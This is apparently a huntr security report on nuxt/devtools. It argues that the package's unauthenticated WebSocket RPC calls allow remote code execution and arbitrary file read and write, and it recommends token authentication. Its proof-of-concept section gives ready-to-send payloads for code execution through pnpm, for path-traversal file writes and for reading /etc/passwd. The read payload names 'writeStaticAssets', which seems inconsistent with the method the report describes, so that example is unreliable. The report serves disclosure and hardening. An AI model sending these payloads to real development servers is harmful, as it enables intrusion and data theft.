Lucene search

K
huntrOhb009B266247-8EC2-43F1-AD3D-48516DDD068F
HistoryMay 11, 2023 - 3:19 p.m.

Lack of security consideration leads to multiple critical weaknesses

2023-05-1115:19:31
ohb00
www.huntr.dev
4
security considerations
authentication
code execution
arbitrary file access
remote command execution
websocket vulnerabilities

Introduction

This report serves more as a suggestion to improve security, rather than fixing any single “vulnerability”. I’ve given examples to demonstrate the impact that neglecting security may have, but these are not the root cause of the issue.

Due to the nature of a package, being able to achieve code execution on the host is guaranteed and intended. Instead of fixing these mistakes, I would recommend adding a form of authentication to verify the requester’s identity, similar to the approach taken by Werkzeug / Flask.

This process generally involves displaying a secret token on the console, where only the developer can see it, and then prompting for this token to before a WebSocket session starts. After this is successful you can then exchange potentially dangerous commands.

Once a user is authenticated it no longer matters if they can execute commands as they have this ability via the terminal.

Description

nuxt/devtools is a package that provides tools for developers to inspect and debug their applications from a web interface.

Developer mode vulnerabilities may seem insignificant but they present risks for developers and servers with accidental misconfigurations. You can read more about the impact of development vulnerabilities in nuxt3 here.

The package provides several remote process calls over WebSocket using tinyws and birpc.

There any many interesting commands that we can call, with various weaknesses:

runNpmCommand - Can be abused for RCE

writeStaticAssets - Can be abused for arbitrary file write

getTextAssetContent - Can be abused for arbitrary file read (and then RCE)

installNuxtModule - Potential RCE

setStorageItem - Potential RCE

Proof of Concept

There are multiple ways to do bad things, here are some examples of what’s possible.

Code execution in two steps with pnpm:

// Step 1, send the following payload to the WebSocket server
// This will install the package "rce-demo"
// Final output is: "pnpm install rce-demo --no-scripts"
[{"m":"1","a":"2","t":"3","i":"4"},"runNpmCommand",["5", "6"],"q", "x", "install", "rce-demo"]


// Step 2, send the following payload to the WebSocket server
// pnpm will load the file @lastest within the /rce-demo folder, this will trigger RCE with a calc popup.
// Final output is: "pnpm install --config.pnpmfile=./node_modules/rce-demo/@latest"
[{"m":"1","a":"2","t":"3","i":"4"},"runNpmCommand",["5", "6"],"q", "x", "install", "--config.pnpmfile=./node_modules/rce-demo/"]

Arbitrary file write:

// Write any file provided it doesn't already exist
// Data needs to be base64
[{"m":"1","a":"2","t":"3","i":"4"},"writeStaticAssets",["5", "6"],"q", "blah", [{ "name": "test.txt", "data": "YmFsbHM="}], "../../../../../"]

Arbitrary file read:

// Read any file, the last argument is the file length limit
// If you don't know how large a file is you can use -1 to read all but the last char. 
[{"m":"1","a":"2","t":"3","i":"4"},"writeStaticAssets",["5", "6"],"q", "blah", "/etc/passwd", 999999]

Example written in Golang.